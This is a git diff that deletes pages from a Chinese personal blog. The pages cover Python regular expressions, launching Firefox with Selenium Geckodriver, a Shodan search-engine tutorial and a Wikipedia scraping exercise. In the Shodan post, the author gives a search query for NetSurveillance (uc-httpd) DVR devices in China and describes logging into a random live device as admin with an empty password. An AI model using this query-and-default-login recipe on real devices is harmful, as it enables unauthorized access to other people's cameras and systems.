-# result:[('aaa', 'aaa'), ('fff', 'ggg')]
-re.findall(r'(?P<g1>[a-z]+)\d+(?P=g1)', s)
-# result:['aaa']
-re.findall(r'(?P<g1>[a-z]+)\d+(?P=g1)', 'aaa111aaa,bbb222,333ccc,444ddd444,555eee666,fff777fff')
-# result:['aaa', 'fff']
-re.findall(r'[a-z]+(\d+)([a-z]+)', s)
-# result: [('111', 'aaa'), ('777', 'ggg')]
-re.findall(r'([a-z]+)\d+', s)
-# result:['aaa', 'bbb', 'ddd', 'eee', 'fff']
-re.findall(r'([a-z]+)\d+\1', s)
-# result:['aaa']
-
-s = 'I have a dog , I have a cat'
-re.findall(r'I have a (?:dog|cat)', s)
-# result: ['I have a dog', 'I have a cat']
-re.findall(r'I have a dog|cat', s)
-# result: ['I have a dog', 'cat']
-
-s = 'ababab abbabb aabaab abbbbbab'
-re.findall(r'\b(?:ab)+\b', s)
-# result: ['ababab']
-re.findall(r'\b(ab)+\b', s)
-# result: ['ab']
-

反向引用

捕获组(Expression)在匹配成功时,会将子表达式匹配到的内容,保存到内存中一个以数字编号的组里,可以简单的认为是对一个局部变量进行了赋值,这时就可以通过反向引用方式,引用这个局部变量的值。一个捕获组(Expression)在匹配成功之前,它的内容可以是不确定的,一旦匹配成功,它的内容就确定了,反向引用的内容也就是确定的了。

-

反向引用必然要与捕获组一同使用的,如果没有捕获组,而使用了反向引用的语法,不同语言的处理方式不一致,有的语言会抛异常,有的语言会当作普通的转义处理。

-
s = 'Is is the cost of of gasoline going up up ?'
-re.findall(r'\b([a-z]+) \1\b', s, re.I)  # 大小写不敏感
-# result: ['Is', 'of', 'up']
-re.findall(r'\b([a-z]+) \1\b', s)
-# result: ['of', 'up']
-
-s = 'http://www.w3cschool.cc:80/html/html-tutorial.html'
-re.findall(r'(\w+):\/\/([^/:]+)(:\d*)?([^# ]*)', s)
-# result: [('http', 'www.w3cschool.cc', ':80', '/html/html-tutorial.html')]
-

注意区别:pattern+?、pattern*?、(?!pattern)、(?:pattern)

pattern+?、pattern*?

这两个比较常用,表示懒惰匹配,即匹配符合条件的尽量短的字符串。默认情况下 + 和 * 是贪婪匹配,即匹配尽可能长的字符串,在它们后面加上 ? 表示想要进行懒惰匹配。

-

(?!pattern)

表示一个过滤条件,若字符串符合 pattern 则将其过滤掉。在分析日志时很有用,例如想过滤掉包含 info 标记的日志可以写 ^(?!.info).$。

-

(?:pattern)

这条规则主要是为了优化性能,对匹配没有影响。它表示括号内的子表达式匹配的结果不需要返回也不会被 12 之类的反向引用。

-

模式匹配

    -
  1. import re导入正则表达式模块。Python中所有正则表达式的函数都在re模块中,所以我们要先引入re模块;
  2. -
  3. 用re.compile()函数创建一个Regex对象(参数就是要匹配的内容的正则表达式);
  4. -
  5. 用Regex对象的search()方法来查找一段字符串,返回那个匹配的对象num,num中是一段相应的描述信息;
  6. -
  7. 调用匹配对象num的group()方法,返回实际匹配文本的字符串。
  8. -
-
import re
-
-s1 = "once upon a time"
-s2 = "There once was a man from NewYork"
-print(re.findall(r'^once', s1))
-# result: ['once']
-print(re.findall(r'^once', s2))
-# result: []
-print(re.findall(r'time$', s1))
-# result: ['time']
-print(re.findall(r'times$', s1))
-# result: []
-print(re.findall(r'^time$', s1))
-# result: []
-print(re.findall(r'^time$', 'time'))
-# result: ['time']
-
-## compile
-s = '111,222,aaa,bbb,ccc333,444ddd'
-rule = r'\b\d+\b'
-compiled_rule = re.compile(rule)
-print(compiled_rule.findall(s))
-# result: ['111', '222']
-
-
-## match
-print(re.match('www', 'www.runoob.com').span())  # 在起始位置匹配
-# result: (0, 3)
-print(re.match('com', 'www.runoob.com'))  # 不在起始位置匹配
-# result: None
-
-line = "Cats are smarter than dogs"
-matchObj = re.match(r'(.*) are (.*?) .*', line, re.M | re.I)
-
-if matchObj:
-    print("matchObj.group() : ", matchObj.group())
-    # result: matchObj.group() :  Cats are smarter than dogs
-    print("matchObj.group(1) : ", matchObj.group(1))
-    # result: matchObj.group(1) :  Cats
-    print("matchObj.group(2) : ", matchObj.group(2))
-    # result: matchObj.group(2) :  smarter
-else:
-    print("No match!!")
-
-## search
-print(re.search('www', 'www.runoob.com').span())  # 在起始位置匹配
-# result: (0, 3)
-print(re.search('com', 'www.runoob.com').span())  # 不在起始位置匹配
-# result: (11, 14)
-
-line = "Cats are smarter than dogs";
-searchObj = re.search(r'(.*) are (.*?) .*', line, re.M | re.I)
-
-if searchObj:
-    print("searchObj.group() : ", searchObj.group())
-    # result: searchObj.group() :  Cats are smarter than dogs
-    print("searchObj.group(1) : ", searchObj.group(1))
-    # result: searchObj.group(1) :  Cats
-    print("searchObj.group(2) : ", searchObj.group(2))
-    # result: searchObj.group(2) :  smarter
-else:
-    print("Nothing found!!")
-
-## match与search
-line = "Cats are smarter than dogs"
-matchObj = re.match(r'dogs', line, re.M | re.I)
-
-if matchObj:
-    print("match --> matchObj.group() : ", matchObj.group())
-else:
-    print("No match!!")
-    # result: No match!!
-
-matchObj = re.search(r'dogs', line, re.M | re.I)
-if matchObj:
-    print("search --> matchObj.group() : ", matchObj.group())
-    # result: search --> matchObj.group() :  dogs
-else:
-    print("No match!!")
-
-## sub
-phone = "2004-959-559 # This is Phone Number"
-num = re.sub(r'#.*$', "", phone)
-print("Phone Num : ", num)
-# result: Phone Num :  2004-959-559
-
-num = re.sub(r'\D', "", phone)
-print("Phone Num : ", num)
-# result: Phone Num :  2004959559
-

正则表达式与BeautifulSoup

from urllib.request import urlopen
-from bs4 import BeautifulSoup
-import re
-
-html = urlopen("http://www.pythonscraping.com/pages/page3.html")
-bsObj = BeautifulSoup(html, 'lxml')
-# print(bsObj.prettify())
-images = bsObj.findAll("img", {"src": re.compile("\.\.\/img\/gifts/img.*\.jpg")})
-for image in images:
-    print(image["src"])
-
-# result: ../img/gifts/img1.jpg
-# ../img/gifts/img2.jpg
-# ../img/gifts/img3.jpg
-# ../img/gifts/img4.jpg
-# ../img/gifts/img6.jpg
-
-
-
- - - - -
- - - - -
- - - - - - -
- - - -
- - - -
-

- -   转载请注明: - - 苦乐随缘 - - Python网络爬虫实战之五:正则表达式 -

-
-
-
- - - - - - - - - - - - - -
-
- -
-
-  上一篇
-
- -
- - Launch Firefox with GeckoDriver (latest) - - Launch Firefox with GeckoDriver (latest) -
-
-
-
- - Launch Firefox with GeckoDriver (latest)This article provides a detailed, step by step guide on how to launch Firefox w - -
-
- - 2019-05-16 - - - - - - - - - -
-
- - - -
-
- - -
-
- 下一篇  -
-
- -
- - Python网络爬虫实战之四:BeautifulSoup - - Python网络爬虫实战之四:BeautifulSoup -
-
-
-
- - 正文:Beautiful Soup 是一个可以从HTML或XML文件中提取数据的Python库.它能够通过你喜欢的转换器实现惯用的文档导航,查找,修改文档的方式.Beautiful Soup会帮你节省数小时甚至数天的工作时间. -安装: pi - -
-
- - 2019-05-14 - - - - - - - - - -
-
- - - -
-
- -
-
-
- - - - - -
- - - - -
- - - - - - - - -
- - - -
- - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/2019/05/16/python-crawler-webdrive-firefox/index.html b/2019/05/16/python-crawler-webdrive-firefox/index.html deleted file mode 100644 index e6a40ed..0000000 --- a/2019/05/16/python-crawler-webdrive-firefox/index.html +++ /dev/null @@ -1,852 +0,0 @@ - - - - - - - - - - - - - - - - Launch Firefox with GeckoDriver (latest) | 苦乐随缘 - - - - - - - - - - - - - - - - - - - - - - - - - -
-
-
-
-
-
- Launch Firefox with GeckoDriver (latest) -
-
-
-
-
-
- - - -
- - - -
-
- -
-
-
-

Launch Firefox with GeckoDriver (latest)

This article provides a detailed, step by step guide on how to launch Firefox with Selenium Geckodriver. In this article we use the latest versions of Selenium, Firefox & Geckodriver and show you how you can launch Firefox by providing updated code snippets. The tool versions that we will be using in this article are –

-
    -
  • Selenium – version 3.11.0
  • -
  • Firefox – version 59.0.2 (Firefox Quantum)
  • -
  • Geckodriver – version 0.20.1
  • -
-

Are you using an older version of Selenium Webdriver? Make sure you switch to the latest Selenium Webdriver version to avoid compatibility issues!!

-

Launch Firefox with Selenium 3.0

-

What is Selenium Geckodriver?

Let us first start with the very basics – What is Gecko and GeckoDriver? Gecko is a web browser engine used in many applications developed by Mozilla Foundation and the Mozilla Corporation, most noticeably the Firefox web browser, its mobile version other than iOS devices, their email client Thunderbird and many other open source software projects. You can get more information about Gecko here – https://en.wikipedia.org/wiki/Gecko_(software)

-

Geckodriver is a proxy for using W3C WebDriver-compatible clients to interact with Gecko-based browsers i.e. Mozilla Firefox in this case. This program provides the HTTP API described by the WebDriver protocol to communicate with Gecko browsers. It translates calls into the Marionette automation protocol by acting as a proxy between the local and remote ends.

-

How things worked before Geckodriver and Selenium 3

If you are new to Selenium and you have started directly with Selenium 3.x, you would not know how Firefox was launched with the previous versions of Selenium (version 2.53 and before). It was a pretty straight forward process where you were not required to use Geckodriver or any other driver. After you download and install Selenium, you just write the code to instantiate the WebDriver and open Firefox. The code snippet is shown below –

-

public class FirefoxTest { public static void main(String[] args) { WebDriver driver = new FirefoxDriver(); driver.get(“http://www.google.com"); } }

- - - - - - - - - - - - -
1234567public class FirefoxTest { public static void main(String[] args) { WebDriver driver = new FirefoxDriver(); driver.get(“http://www.google.com“); }}
-

If you just run this code, you would notice that Firefox browser would get opened and Google.com would be displayed in the browser. This is how it worked with Selenium 2.53 and before. Let’s see whats the new implementation in Selenium 3.

-

What happens when you don’t use Firefox Geckodriver with Selenium 3.x

To try this out, all that you need to do is point your JAR files to the latest version of Selenium 3 and then run the same code that is given above. You will now notice that Google.com page would not open in a new Firefox window. Instead you will see an error message as shown below –

-
-

java.lang.IllegalStateException: The path to the driver executable must be set by the webdriver.gecko.driver system property; for more information, see https://github.com/mozilla/geckodriver. The latest version can be downloaded from https://github.com/mozilla/geckodriver/releases

-
-

Geckodriver Error

-

You will need to use Selenium Geckodriver to remove this error. Let us see how this can be done.

-

How to use Selenium Geckodriver to launch Firefox

To launch Firefox with Selenium Geckodriver, you will first need to download Geckodriver and then set its path. This can be done in two ways as depicted in the below image –

-

Process to use Geckodriver

-

Check if Firefox is 32-bit or 64-bit

There are two versions of Geckodriver for Windows: 32-bit and 64-bit. Based on whether your Firefox is 32-bit or 64-bit, you need to download the corresponding Geckodriver exe. In this section, you will first check whether your Firefox is 32-bit or 64-bit

-

1. Open Firefox on your machine. Click on Hamburger icon from the right corner to open the menu as shown below

-

Open Firefox Menu

-

2. From this menu, click on Help icon (Help icon is marked in red box in the above image)

-

3. Once you click on Help icon, the Help Menu would be displayed

-

Help Menu - Firefox

-

4. Click on About Firefox from the Help menu. About Mozilla Firefox popup would be displayed

-

Check if Mozilla Firefox is 32-bit or 64-bit

-

5. Note down whether Firefox is 32 or 64 bit. For us, Firefox is 64-bit as shown in the above image. Now close this popup and close Firefox as well.

-

Download the latest version of Selenium Geckodriver

Follow the steps given below to download Geckodriver –

-

1. Open this Github page – https://github.com/mozilla/geckodriver/releases

-

2. Download the latest release (windows version) based on whether your Firefox is 32-bit or 64-bit. We are downloading geckodriver-v0.20.1-win64.zip, as we have 64-bit Firefox

-

Download latest version of GeckoDriver

-

3. Once the zip file is downloaded, unzip it to retrieve the driver – geckodriver.exe

-

This completes the downloading process. Now let’s see how you can use it in your project. There are 2 methods using which you can configure this driver in your project. You can use any of these methods.

-

According to this statcounter report, Chrome is by far the most used browser. If you are learning Selenium, make sure that you run your scripts on Chrome browser as well

-

Launch Firefox Method 1 : webdriver.gecko.driver system property

With this method, you will have to add an additional line of code in your test case. Follow the steps given below to use this method –

-

1. Copy the entire path where you unzipped geckodriver.exe. Let us assume that the location is – D:\Firefox\geckodriver.exe. You will need to add System.setProperty with the driver location to your code.

-

The code to launch Firefox browser would look like this –

-

Important Note 1: In the folder paths in the below code, we have used double backslash (\). This is because Java treats single back slash () as an escape character. So you would need to use double back slash, everywhere you add some folder path.

-

public class FirefoxTest { public static void main(String[] args) { System.setProperty(“webdriver.gecko.driver”,”D:\Firefox\geckodriver.exe”); WebDriver driver = new FirefoxDriver(); driver.get(“http://www.google.com"); } }

- - - - - - - - - - - - -
123456789public class FirefoxTest { public static void main(String[] args) { System.setProperty(“webdriver.gecko.driver”,”D:\Firefox\geckodriver.exe”); WebDriver driver = new FirefoxDriver(); driver.get(“http://www.google.com“); }}
-

Important Note 2: If you are using older versions of Geckodriver (v0.16.1 or before), then you will also need to provide the Firefox Binary, otherwise you might get the below error –

-

org.openqa.selenium.SessionNotCreatedException: Expected browser binary location, but unable to find binary in default location, no ‘moz:firefoxOptions.binary’ capability provided, and no binary flag set on the command line

-

But please note that this is needed only for Geckodriver v0.16.1 or before. So for older Gecko versions, please use the below code where Firefox binary location has been provided using FirefoxOptions class.

-

public class FirefoxTest { public static void main(String[] args) { System.setProperty(“webdriver.gecko.driver”,”D:\Firefox\geckodriver.exe”); FirefoxOptions options = new FirefoxOptions(); options.setBinary(“C:\Program Files (x86)\Mozilla Firefox\firefox.exe”); //This is the location where you have installed Firefox on your machine WebDriver driver = new FirefoxDriver(options); driver.get(“http://www.google.com"); } }

- - - - - - - - - - - - -
123456789101112public class FirefoxTest { public static void main(String[] args) { System.setProperty(“webdriver.gecko.driver”,”D:\Firefox\geckodriver.exe”); FirefoxOptions options = new FirefoxOptions(); options.setBinary(“C:\Program Files (x86)\Mozilla Firefox\firefox.exe”); //This is the location where you have installed Firefox on your machine WebDriver driver = new FirefoxDriver(options); driver.get(“http://www.google.com“); }}
-

3. Run this code to verify that everything is working fine. You will notice that google.com gets opened in new Firefox window

-

Launch Firefox Method 2 : Set property in Environment Variables

1. Copy the entire folder location where geckodriver.exe is saved. If the entire path is D:\Firefox\geckodriver.exe, then the folder location would be D:\Firefox\

-

2. Open Advanced tab in System Properties window as shown in below image.

-

System Properties

-

3. Open Environment Variables window.

-

Environment Variables Window

-

4. In System variables section, select the Path variable (highlighted in the above image) and click on Edit button. Then add the location of Geckodriver that we copied in step 1 (D:\Firefox), to path variable (below image shows UI for Windows 10)

-

Add GeckoDriver path to Environment Variables

-

5. If you are using Windows 7, then move to the end of the Variable value field, then add a semi-colon (;) and then add the folder location as shown below (Semicolon acts as a separator between multiple values in the field)

-

Add GeckoDriver in Path Variable - Windows 7

-

6. Click on Ok button to close the windows. Once the path is set, you would not need to set the System property every time in the test script. Your test script would simply look like this –

-

For GeckoDriver v0.20, v0.19.0, v0.18.0 and v0.17.0 –

-

public class FirefoxTest { public static void main(String[] args) { WebDriver driver = new FirefoxDriver(); driver.get(“http://www.google.com"); } }

- - - - - - - - - - - - -
1234567public class FirefoxTest { public static void main(String[] args) { WebDriver driver = new FirefoxDriver(); driver.get(“http://www.google.com“); }}
-

For GeckoDriver v0.16.1 or before –

-

public class FirefoxTest { public static void main(String[] args) { FirefoxOptions options = new FirefoxOptions(); options.setBinary(“C:\Program Files (x86)\Mozilla Firefox\firefox.exe”); //This is the location where you have installed Firefox on your machine WebDriver driver = new FirefoxDriver(options); driver.get(“http://www.google.com"); } }

- - - - - - - - - - - - -
12345678910public class FirefoxTest { public static void main(String[] args) { FirefoxOptions options = new FirefoxOptions(); options.setBinary(“C:\Program Files (x86)\Mozilla Firefox\firefox.exe”); //This is the location where you have installed Firefox on your machine WebDriver driver = new FirefoxDriver(options); driver.get(“http://www.google.com“); }}
-

7. Run the code to check that it works fine.

-

This completes our article on how you can use launch Firefox with Selenium GeckoDriver. Try it out and let us know if this worked for you. Feel free to contact us using comments section if you face any issue while implementing this.

-

UPDATE 1 [30 April, 2017]: Use DesiredCapabilities and FirefoxOptions to launch Firefox with Selenium GeckoDriver

-

public class FirefoxTest { public static void main(String[] args) { FirefoxOptions options = new FirefoxOptions(); options.setBinary(“C:\Program Files (x86)\Mozilla Firefox\firefox.exe”); //Location where Firefox is installed DesiredCapabilities capabilities = DesiredCapabilities.firefox(); capabilities.setCapability(“moz:firefoxOptions”, options); //set more capabilities as per your requirements FirefoxDriver driver = new FirefoxDriver(capabilities); driver.get(“http://www.google.com"); } }

- - - - - - - - - - - - -
1234567891011121314public class FirefoxTest { public static void main(String[] args) { FirefoxOptions options = new FirefoxOptions(); options.setBinary(“C:\Program Files (x86)\Mozilla Firefox\firefox.exe”); //Location where Firefox is installed DesiredCapabilities capabilities = DesiredCapabilities.firefox(); capabilities.setCapability(“moz:firefoxOptions”, options); //set more capabilities as per your requirements FirefoxDriver driver = new FirefoxDriver(capabilities); driver.get(“http://www.google.com“); }}
-

Here are a few hand-picked articles for you to read next:

- - -
-
- - - - -
- - - - -
- - - - - - -
- - - -
- - - -
-

- -   转载请注明: - - 苦乐随缘 - - Launch Firefox with GeckoDriver (latest) -

-
-
-
- - - - - - - - - - - - - -
-
- -
-
-  上一篇
-
- -
- - 什么是 Shodan? - - 什么是 Shodan? -
-
-
-
- - 什么是 Shodan?首先,Shodan 是一个搜索引擎,但它与 Google 这种搜索网址的搜索引擎不同,Shodan 是用来搜索网络空间中在线设备的,你可以通过 Shodan 搜索指定的设备,或者搜索特定类型的设备,其中 Shodan - -
-
- - 2019-05-17 - - - - - - - - - -
-
- - - -
-
- - -
-
- 下一篇  -
-
- -
- - Python网络爬虫实战之五:正则表达式 - - Python网络爬虫实战之五:正则表达式 -
-
-
-
- - 正文:正则表达式(regular expression)描述了一种字符串匹配的模式(pattern),可以用来检查一个串是否含有某种子串、将匹配的子串替换或者从某个串中取出符合某个条件的子串等。 -通过一个小实例来了解正则表达式的作用# 从字 - -
-
- - 2019-05-15 - - - - - - - - - -
-
- - - -
-
- -
-
-
- - - - - -
- - - - -
- - - - - - - - -
- - - -
- - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/2019/05/17/how-shodan/index.html b/2019/05/17/how-shodan/index.html deleted file mode 100644 index dd31b85..0000000 --- a/2019/05/17/how-shodan/index.html +++ /dev/null @@ -1,849 +0,0 @@ - - - - - - - - - - - - - - - - 什么是 Shodan? | 苦乐随缘 - - - - - - - - - - - - - - - - - - - - - - - - - -
-
-
-
-
-
- 什么是 Shodan? -
-
-
-
-
-
- - - -
- - - -
-
- -
-
-
-

什么是 Shodan?

首先,Shodan 是一个搜索引擎,但它与 Google 这种搜索网址的搜索引擎不同,Shodan 是用来搜索网络空间中在线设备的,你可以通过 Shodan 搜索指定的设备,或者搜索特定类型的设备,其中 Shodan 上最受欢迎的搜索内容是:webcam,linksys,cisco,netgear,SCADA等等。

-

那么 Shodan 是怎么工作的呢?Shodan 通过扫描全网设备并抓取解析各个设备返回的 banner 信息,通过了解这些信息 Shodan 就能得知网络中哪一种 Web 服务器是最受欢迎的,或是网络中到底存在多少可匿名登录的 FTP 服务器。

-

基本用法

这里就像是用 Google 一样,在主页的搜索框中输入想要搜索的内容即可,例如下面我搜索 “SSH”:

-

27-1.png

-

上图的搜索结果包含两个部分,左侧是大量的汇总数据包括:

-
    -
  • Results map – 搜索结果展示地图
  • -
  • Top services (Ports) – 使用最多的服务/端口
  • -
  • Top organizations (ISPs) – 使用最多的组织/ISP
  • -
  • Top operating systems – 使用最多的操作系统
  • -
  • Top products (Software name) – 使用最多的产品/软件名称
  • -
-

随后,在中间的主页面我们可以看到包含如下的搜索结果:

-
    -
  • IP 地址
  • -
  • 主机名
  • -
  • ISP
  • -
  • 该条目的收录收录时间
  • -
  • 该主机位于的国家
  • -
  • Banner 信息
  • -
-

想要了解每个条目的具体信息,只需要点击每个条目下方的 details 按钮即可。此时,URL 会变成这种格式 https://www.shodan.io/host/[IP],所以我们也可以通过直接访问指定的 IP 来查看详细信息。

-

27-2.png

-

上图中我们可以从顶部在地图中看到主机的物理地址,从左侧了解到主机的相关信息,右侧则包含目标主机的端口列表及其详细信息。

-

使用搜索过滤

如果像前面单纯只使用关键字直接进行搜索,搜索结果可能不尽人意,那么此时我们就需要使用一些特定的命令对搜索结果进行过滤,常见用的过滤命令如下所示:

-
    -
  • hostname:搜索指定的主机或域名,例如 hostname:"google"
  • -
  • port:搜索指定的端口或服务,例如 port:"21"
  • -
  • country:搜索指定的国家,例如 country:"CN"
  • -
  • city:搜索指定的城市,例如 city:"Hefei"
  • -
  • org:搜索指定的组织或公司,例如 org:"google"
  • -
  • isp:搜索指定的ISP供应商,例如 isp:"China Telecom"
  • -
  • product:搜索指定的操作系统/软件/平台,例如 product:"Apache httpd"
  • -
  • version:搜索指定的软件版本,例如 version:"1.6.2"
  • -
  • geo:搜索指定的地理位置,参数为经纬度,例如 geo:"31.8639, 117.2808"
  • -
  • before/after:搜索指定收录时间前后的数据,格式为dd-mm-yy,例如 before:"11-11-15"
  • -
  • net:搜索指定的IP地址或子网,例如 net:"210.45.240.0/24"
  • -
-

搜索实例

查找位于合肥的 Apache 服务器:

-
apache city:"Hefei"
-

查找位于国内的 Nginx 服务器:

-
nginx country:"CN"
-

查找 GWS(Google Web Server) 服务器:

-
"Server: gws" hostname:"google"
-

查找指定网段的华为设备:

-
huawei net:"61.191.146.0/24"
-

如上通过在基本关键字后增加指定的过滤关键字,能快速的帮助发现我们感兴趣的内容。当然,还有更快速更有意思的方法,那就是点击 Shodan 搜索栏右侧的 “Explore” 按钮,就会得到很多别人分享的搜索语法,你问我别人分享的语法有什么好玩的?那咱们就随便来看看吧:

-

27-3.png

-

咱们随便选取一个名为“NetSureveillance Web”的用户分享语法,从下面的描述信息我们基本就能得知这就是一个弱密码的漏洞,为了方便测试让我们把语法在增加一个国家的过滤信息,最终语法如下:

-
Server: uc-httpd 1.0.0 200 OK Country:"CN"
-

27-4.png

-

现在让我们随便选取一个页面进去输入,使用admin账号和空密码就能顺利进入了:)

-

27-5.png

-

其他功能

Shodan 不仅可以查找网络设备,它还具有其他相当不错的功能。

-

Exploits:每次查询完后,点击页面上的 “Exploits” 按钮,Shodan 就会帮我们查找针对不同平台、不同类型可利用的 exploits。当然也可以通过直接访问网址来自行搜索:https://exploits.shodan.io/welcome

-

27-10.png

-

地图:每次查询完后,点击页面上的 “Maps” 按钮,Shodan 会将查询结果可视化的展示在地图当中;

-

27-12.png

-

报表:每次查询完后,点击页面上的 “Create Report” 按钮,Shodan 就会帮我们生成一份精美的报表,这是天天要写文档兄弟的一大好帮手啊;

-

27-11.png

-

命令行下使用 Shodan

Shodan 是由官方提供的 Python 库的,项目位于:https://github.com/achillean/shodan-python

-

安装

-
pip install shodan
-

或者

-
git clone https://github.com/achillean/shodan-python.git && cd shodan-python
-python setup.py install
-

安装完后我们先看下帮助信息:

-
➜  ~ shodan -h
-Usage: shodan [OPTIONS] COMMAND [ARGS]...
-Options:
-  -h, --help  Show this message and exit.
-Commands:
-  alert       Manage the network alerts for your account  # 管理账户的网络提示
-  convert     Convert the given input data file into a...  # 转换输入文件
-  count       Returns the number of results for a search  # 返回查询结果数量
-  download    Download search results and save them in a...  # 下载查询结果到文件
-  honeyscore  Check whether the IP is a honeypot or not.  # 检查 IP 是否为蜜罐
-  host        View all available information for an IP...  # 显示一个 IP 所有可用的详细信息
-  info        Shows general information about your account  # 显示账户的一般信息
-  init        Initialize the Shodan command-line  # 初始化命令行
-  myip        Print your external IP address  # 输出用户当前公网IP
-  parse       Extract information out of compressed JSON...  # 解析提取压缩的JSON信息,即使用download下载的数据
-  scan        Scan an IP/ netblock using Shodan.  # 使用 Shodan 扫描一个IP或者网段
-  search      Search the Shodan database  # 查询 Shodan 数据库
-  stats       Provide summary information about a search...  # 提供搜索结果的概要信息
-  stream      Stream data in real-time.  # 实时显示流数据
-

常用示例

init

-

初始化命令行工具。

-
➜  ~ shodan init [API_Key]
-Successfully initialized
-

count

-

返回查询的结果数量。

-
➜  ~ shodan count microsoft iis 6.0
-575862
-

download

-

将搜索结果下载到一个文件中,文件中的每一行都是 JSON 格式存储的目标 banner 信息。默认情况下,该命令只会下载1000条结果,如果想下载更多结果需要增加 --limit 参数。

-

27-6.png

-

parse

-

我们可以使用 parse 来解析之前下载数据,它可以帮助我们过滤出自己感兴趣的内容,也可以用来将下载的数据格式从 JSON 转换成 CSV 等等其他格式,当然更可以用作传递给其他处理脚本的管道。例如,我们想将上面下载的数据以CSV格式输出IP地址、端口号和组织名称:

-
➜  ~ shodan parse --fields ip_str,port,org --separator , microsoft-data.json.gz
-

27-7.png

-

host

-

查看指定主机的相关信息,如地理位置信息,开放端口,甚至是否存在某些漏洞等信息。

-

27-8.png

-

search

-

直接将查询结果展示在命令行中,默认情况下只显示IP、端口号、主机名和HTTP数据。当然我们也可以通过使用 –fields 来自定义显示内容,例如,我们只显示IP、端口号、组织名称和主机名:

-
➜  ~ shodan search --fields ip_str,port,org,hostnames microsoft iis 6.0
-

27-9.png

-

代码中使用 Shodan 库

还是使用上一节讲到的 shodan 库,安装方式这里不在阐述了。同样的,在使用 shodan 库之前需要初始化连接 API,代码如下:

-
import shodan
-SHODAN_API_KEY = "API_Key"
-api = shodan.Shodan(SHODAN_API_KEY)
-

随后,我们就可以搜索数据了,示例代码片如下:

-
try:
-    # 搜索 Shodan
-    results = api.search('apache')
-    # 显示结果
-    print 'Results found: %s' % results['total']
-    for result in results['matches']:
-            print result['ip_str']
-except shodan.APIError, e:
-    print 'Error: %s' % e
-

27-13.png

-

这里 Shodan.search() 会返回类似如下格式的 JSON 数据:

-
{
-        'total': 8669969,
-        'matches': [
-                {
-                        'data': 'HTTP/1.0 200 OK\r\nDate: Mon, 08 Nov 2010 05:09:59 GMT\r\nSer...',
-                        'hostnames': ['pl4t1n.de'],
-                        'ip': 3579573318,
-                        'ip_str': '89.110.147.239',
-                        'os': 'FreeBSD 4.4',
-                        'port': 80,
-                        'timestamp': '2014-01-15T05:49:56.283713'
-                },
-                ...
-        ]
-}
-

常用 Shodan 库函数

    -
  • shodan.Shodan(key) :初始化连接API
  • -
  • Shodan.count(query, facets=None):返回查询结果数量
  • -
  • Shodan.host(ip, history=False):返回一个IP的详细信息
  • -
  • Shodan.ports():返回Shodan可查询的端口号
  • -
  • Shodan.protocols():返回Shodan可查询的协议
  • -
  • Shodan.services():返回Shodan可查询的服务
  • -
  • Shodan.queries(page=1, sort='timestamp', order='desc'):查询其他用户分享的查询规则
  • -
  • Shodan.scan(ips, force=False):使用Shodan进行扫描,ips可以为字符或字典类型
  • -
  • Shodan.search(query, page=1, limit=None, offset=None, facets=None, minify=True):查询Shodan数据
  • -
- -
-
- - - - -
- - - - -
- - - - - - -
- - - -
- - - -
-

- -   转载请注明: - - 苦乐随缘 - - 什么是 Shodan? -

-
-
-
- - - - - - - - - - - - - -
-
- -
-
-  上一篇
-
- -
- - Python网络爬虫实战之六:静态网页爬取案例实战 - - Python网络爬虫实战之六:静态网页爬取案例实战 -
-
-
-
- - -正文:预备知识点:正则表达式之 pattern+?、pattern*?、(?!pattern)、(?:pattern)pattern+?、pattern*?这两个比较常用,表示懒惰匹配,即匹配符合条件的尽量短的字符串。默认情况下 + 和 - -
-
- - 2019-05-18 - - - - - - - - - -
-
- - - -
-
- - -
-
- 下一篇  -
-
- -
- - Launch Firefox with GeckoDriver (latest) - - Launch Firefox with GeckoDriver (latest) -
-
-
-
- - Launch Firefox with GeckoDriver (latest)This article provides a detailed, step by step guide on how to launch Firefox w - -
-
- - 2019-05-16 - - - - - - - - - -
-
- - - -
-
- -
-
-
- - - - - -
- - - - -
- - - - - - - - -
- - - -
- - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/2019/05/18/python-crawler-static-sample-6/index.html b/2019/05/18/python-crawler-static-sample-6/index.html deleted file mode 100644 index 6666f5a..0000000 --- a/2019/05/18/python-crawler-static-sample-6/index.html +++ /dev/null @@ -1,824 +0,0 @@ - - - - - - - - - - - - - - - - Python网络爬虫实战之六:静态网页爬取案例实战 | 苦乐随缘 - - - - - - - - - - - - - - - - - - - - - - - - - -
-
-
-
-
-
- Python网络爬虫实战之六:静态网页爬取案例实战 -
-
-
-
-
-
- - - -
- - - -
-
- -
-
-
-
    -
  • 正文:

    预备知识点:正则表达式之 pattern+?、pattern*?、(?!pattern)、(?:pattern)

    pattern+?、pattern*?

    这两个比较常用,表示懒惰匹配,即匹配符合条件的尽量短的字符串。默认情况下 + 和 * 是贪婪匹配,即匹配尽可能长的字符串,在它们后面加上 ? 表示想要进行懒惰匹配。

    -

    (?!pattern)

    表示一个过滤条件,若字符串符合 pattern 则将其过滤掉。在分析日志时很有用,例如想过滤掉包含 info 标记的日志可以写 ^(?!.info).$。

    -

    (?:pattern)

    这条规则主要是为了优化性能,对匹配没有影响。它表示括号内的子表达式匹配的结果不需要返回也不会被 12 之类的反向引用。

    -

    案例实战一

    获取网页https://en.wikipedia.org/wiki/Kevin_Bacon中的词条url链接

    -

    尝试1

    ## 尝试1:爬取网页内容
    -from urllib.request import urlopen
    -from bs4 import BeautifulSoup
    -
    -html = urlopen(r'https://en.wikipedia.org/wiki/Kevin_Bacon')
    -bsObj = BeautifulSoup(html, 'lxml')
    -print(bsObj.prettify())
    -

    尝试2

    ## 尝试2:抓取网页中的 a 标签,且以 href 开头的所有url链接
    -from urllib.request import urlopen
    -from bs4 import BeautifulSoup
    -
    -html = urlopen(r'https://en.wikipedia.org/wiki/Kevin_Bacon')
    -bsObj = BeautifulSoup(html, 'lxml')
    -allLinks = bsObj.findAll("a")
    -print(len(allLinks))  # 780
    -for link in allLinks:
    -    if "href" in link.attrs:
    -        print(link.attrs["href"])
    -
    -

    通过分析“尝试2”中的数据,发现如下规律:

    -

    1、id在bodyContent的div标签中;

    -

    2、url不包含冒号;

    -

    3、url以/wiki/开头

    -
    -

    正式提取

    ## 正式提取维基中的词条url
    -from urllib.request import urlopen
    -from bs4 import BeautifulSoup
    -import re
    -
    -html = urlopen(r'https://en.wikipedia.org/wiki/Kevin_Bacon')
    -bsObj = BeautifulSoup(html, 'lxml')
